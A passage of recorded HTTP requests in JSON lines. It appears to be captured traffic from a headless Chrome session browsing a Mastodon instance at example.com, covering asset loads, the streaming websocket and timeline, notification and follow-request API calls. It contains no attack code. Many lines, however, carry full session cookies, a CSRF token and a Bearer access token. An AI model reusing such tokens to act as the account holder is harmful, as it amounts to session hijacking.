_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTMuNzc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--09901d122b1f0c7c683796ebdea11de605cc29ba; _mastodon_session=kQHrbvwxWCj4T6n8IDRA5klVl07ETA4MxN0d6cOMeF05%2BjfKktPnjJEsqbdQ1OCS5GMYQDu3roHX9m2NfxOAP0be%2BuAq0%2FRiwmE30nrslxb%2BLCxfXg1CyW%2F4z3QFgeKLTwSfUIGaRAkgQnXd6uF%2BljI7VTO0dgB0e3gCQTpBIAXE97QzT0NOxjsHrZ0eFyg2vUNMndRiV5oAopriJBbEa5DhA8Ht4ix46i7UX5MLCn3JT5C17cCu5aYa0NSGFSkcjurmPGWOg%2FxL%2BnYc0OYWMSEBqcoB8w5G0evOn1uvYPBDKe6Km8uPWEADZ7CjU37runmFcEqfMlbY7KIVGtd69FrgfdSQ7F620Ib9tZESpy9yCi9kWyTe0Qted3nOx4pLHR2Sc8YlByd5VNtU1sFitXAuCNMfgU3YOpWMw%2FUYfUOzcGAaMaKNFRBVxLC2pysmDs37MKU%3D--PrwL1WvN6zrtqF60--yVxGdANAgpjRYrj8vjWzrQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/@alice@remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTQuODcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d3ad55402c589859ac3107b7a26c9119d14edc64; _mastodon_session=F%2Fn3sqTYIrpiYRK3qiovkEFHpDLBxaF0QeobKHJrWn3JCVtCYu7uGel0gd1JKYCGVegFpaAnpACD75kmaLg2VQX8Qkx2RWM3RGSFcGhZlD9e54iTdSQEdcdeyCGgqDiZ6R9%2FY2M3upo3ttT76rdlWBRiT9Q5bQOSdNtlJBbNshpmeADwI5JLIWM0QVtlbY6t8Oje5Lq8hIrbp1OnVC9p%2BZgwsOhqjX%2BwVZCpMlCaDqAxxhhxNVITSaci3sTuFckVLjhHS4EIHqwXUOWmC5HNfukvm%2FH2i7WVMhb5VUk%2F%2Bvgn6JrgdB71sqfTsuEkwsktT9AT1gRhHfvXVAmFMFBqzEvpdqqiVFv3QmmKkTsbeKr35wn%2BpL%2FUu3gNCPHfPimAcj2EnO9iERazZOfouSJ2aywWwH%2FrwWwT8wl%2F%2Ff0FWoThYgSp8AxwASvPn39VMlGTu9uoKEw%3D--%2B1MDJtbC3oIMPFI1--BBnKBn0Kpn5rEEemOhcRAw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/themes/default-DkDM-a1D.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=VFDMBBIjtaRar6CwZKjB49Tn79pZYZHzEkfeRf6k%2FWviFN1Xvx1ozEsPaMsNL4ZEJyX70zlbwTLhjeUiLR991pdb9vdScnTvnis7ifM2CpavXW8U8%2B9G8TveVPIcNKkmWyX7luJZpPxPUdkL%2FFHJco421ZgnZAE8INDRu42KQaIvL73PYj6%2FTUi48Ir1HLOchIW9e6FB6LP4PVelIGCgFIvswznKjy%2FdVJP%2ByEwkHlmWI0CcxO5pExJcGJ5c1HtKxLZMAVOHdTYm2pBSXOx1UVGlSbPCkOzbjg%3D%3D--O0rilVmLNphphIBu--mF%2BB7oesaIu8ghYOttQxxA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/common-lwvm9nKJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSTRNMlJsTmpZMk1UVTNNelk1Wm1RMllqUmpaR1ZrTUdSaE5UUTBNRFV3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MTEuMTA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8f62ff1df9fa574bfddeccc9a1b78fc315de788e; _mastodon_session=0Fk90wqdTTgZyid01PXnwV77POyvxjB2%2B4VLhJqShA6kJ72vvDVcMamz5ciDpr3nhLyU%2FtgAxbzPgOQjuSBPu8DZJKihgNtHsLC%2BnEM28CAUiJSDbcPs4rsUpccpHn8TTsobEdc%2FlntgX6gDsK7rEWDJSSv29zVLTHSGdII%2Fo590u1X2XQyPxoqJLfvGR9GgyWxOmpn9p5VnZlWB6cZM1s3NRUeJmQpWaZftGRY8bckAQBsYYjzxz616odgcmaP1jxxIFkVC4WWD2sb4l6Y03gCeNn77GZPzCdhFqM0BbeV9dJWiqooQ70Fzw4Yf6vaEMXIgBOpBzEUv2AX7MazeAMS4px%2BJDuhDuoXfALaCfNKm7aS3Rte27YznvF%2F4peEtVUASI%2BW2pXpJ--dMe3B9EzsQX0gvC%2F--SS8hCi3KejM5GikirX4lGA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/common-lwvm9nKJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=jDhNSab96xZL6Vv5%2Fz1kvMfnPisZP23Ed0L0eOSOzUdJbEdd58YgH7IsWol1MfuHROk1LmAdi1zd0uMCsNYTygmBnGlJQIDHLC7y%2Bwah9VKZUrHZe8Yg%2B%2Bf9KVnWQkaGZG3S248jMnMZgvdfkBcirpcS2%2Bfy8BP0E7atXitar0hzqTR4KMIUd1qsqXTVF%2FdjzDJ8XAsvgdebIrJ%2FvHOID%2FGcGWzprsxIYTV1MUXbXu0Sh%2BeCPfY80i6STDQGM20vnpIMmkCrQWAM4P4UmFz%2FXSYzFM27ARoj%2BQ%3D%3D--RhTnjzTJ4Cjf7eis--QLxoOakmfr7z9sRFGCgNOg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/skip_links-DIHZBkdS.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-router-dom-C1dtKQUg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-immutable-pure-component.es-DpNNSygw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/streaming/?", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-WebSocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D", "Sec-WebSocket-Key: Y3IFC2Oku06pSzNXQel+ig==", "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits", "Sec-WebSocket-Protocol: uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/toString-HjykfQcJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Origin: https://example.com", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow&exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance/translation_languages", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
